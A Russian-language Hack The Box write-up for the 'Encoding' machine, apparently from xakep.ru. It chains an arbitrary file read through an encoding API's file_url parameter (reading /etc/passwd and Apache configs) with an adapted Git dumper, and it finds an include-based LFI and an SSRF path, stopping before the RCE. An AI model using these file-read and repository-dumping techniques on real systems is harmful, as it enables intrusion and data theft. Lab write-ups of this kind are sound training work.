Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня мы с тобой пройдем по цепочке уязвимостей: от LFI к эксплуатации Git, к другой LFI и под конец — RCE. По дороге нам понадобится модернизировать Git-дампер, а при продвижении будем использовать выполнение кода через Git.
Наша цель — захватить тренировочную машину Encoding с площадки Hack The Box. Уровень сложности — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.198 encoding.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Мы нашли два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Apache 2.4.52. Больше ничего интересного в результатах сканирования нет, поэтому идем изучать веб‑сервер.
Главная страница сайта encoding.htb
Беглый просмотр сайта выводит нас на API, который работает на отдельном поддомене. Добавляем новый поддомен в файл /etc/hosts
.
10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb
Страница API
Обрати внимание, что запрашиваемая страница передается в параметре page
. В таких случаях стоит сразу проверить наличие LFI. Однако найти уязвимость не удалось. Зато на странице есть примеры кода, как работать с API для кодирования файлов, получаемых по указанному URL.
Код для кодирования файла
Немного подправим код, чтобы после получения закодированного файла обработать ответ и декодировать файл.
import requestsimport jsonimport base64json_data = { 'action': 'b64encode', 'file_url' : 'http://10.10.14.78/test.txt'}response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)data = json.loads(response.text.strip())print(base64.b64decode(data["data"]).decode())
А теперь запросим файл со своего веб‑сервера:
python3 -m http.server 80
Логи веб‑сервера
Результат запроса
Код работает, файл по ссылке получен. А теперь пробуем изменить протокол с http://
на file://
, чтобы попытаться получить локальный файл с сервера. Читать будем /etc/passwd
, для чего изменим в коде параметр file_url
.
'file_url' : 'file:///etc/passwd'
Содержимое файла /etc/passwd
И получаем возможность читать произвольные файлы.
Чтобы прочитать файлы сайта, нам нужно знать путь к корневому каталогу. В этом нам поможет файл конфигурации веб‑сервера.
'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'
Содержимое файла /etc/apache2/sites-enabled/000-default.conf
В итоге получаем пути к корневым каталогам трех сайтов. Добавляем запись для поддомена image
в файл /etc/hosts
, несмотря на то что доступ к этому сайту разрешен только с локального хоста.
10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.haxtables.htb
Первым делом читаем файл index.php
, чтобы раскрыть новые подключаемые файлы.
'file_url' : 'file:///var/www/image/index.php'
Содержимое файла image/index.php
Раскрываем новый подключаемый файл utils.php
. Просмотрим и его.
'file_url' : 'file:///var/www/image/utils.php'
Содержимое файла image/utils.php
Изучая исходный код, отмечаем для себя, что в каталоге есть репозиторий Git. Давай найдем способ скачать его весь.
Для дампа всего репозитория можно использовать утилиту Dumper. Но так как мы читаем файлы не напрямую, а через уязвимость на сервере, скрипт нужно немного модернизировать. Найдем команду, где выполняется запрос с помощью curl.
Команда запроса к веб‑серверу
Изменим ее для работы через сервис кодирования.
curl 'http://api.haxtables.htb/v3/tools/string/index.php' -s -H 'Content-Type: application/json' --data-binary "{"action": "b64encode", "file_url": "file:///var/www/image/.git/$objname"}" | jq .data | tr -d '"' | base64 -d > "$target"
Теперь запускаем скрипт и получаем весь репозиторий.
Результат работы скрипта
Для анализа Git я обычно использую программу gitk. Запускаем ее из директории, где содержится каталог .git
. Мы и так можем читать файлы на сервере, поэтому меня просто интересовало, какие файлы и каталоги на нем есть.
Репозиторий в gitk
Сразу обращаем внимание на action_handler.php
, о котором мы прежде не знали.
'file_url' : 'file:///var/www/image/actions/action_handler.php'
Содержимое файла action_handler.php
И видим очень опасное использование функции include
. Так в нее передается принимаемый GET-параметр page
. Но мы не можем обратиться к этому файлу напрямую, так как доступ к сайту image
доступен только с локального хоста. Эту LFI можно раскрутить до RCE, но нам нужна еще уязвимость SSRF, чтобы обратиться к сайту image
.
Ничего интересного больше найти не получилось, поэтому вернемся к первому сайту и просканируем файлы PHP с помощью feroxbuster.
feroxbuster -u http://haxtables.htb/ -w php_files_common.txt -d 1
Результат сканирования файлов PHP
Находим файл handler.php
. Сразу получаем его содержимое.
'file_url' : 'file:///var/www/html/handler.php'
Содержимое файла handler.php
Сервер обрабатывает параметр uri_path
и передает его в функцию make_api_call
. Получим код этой функции из файла utils.php
.
'file_url' : 'file:///var/www/api/utils.php'
Содержимое файла api/utils.php
Эта функция нужна для отправки запроса на указанный URL. Вот мы и узнали способ выполнить запрос к action_handler.php
, где мы нашли вызов include
.
Источник: xakep.ru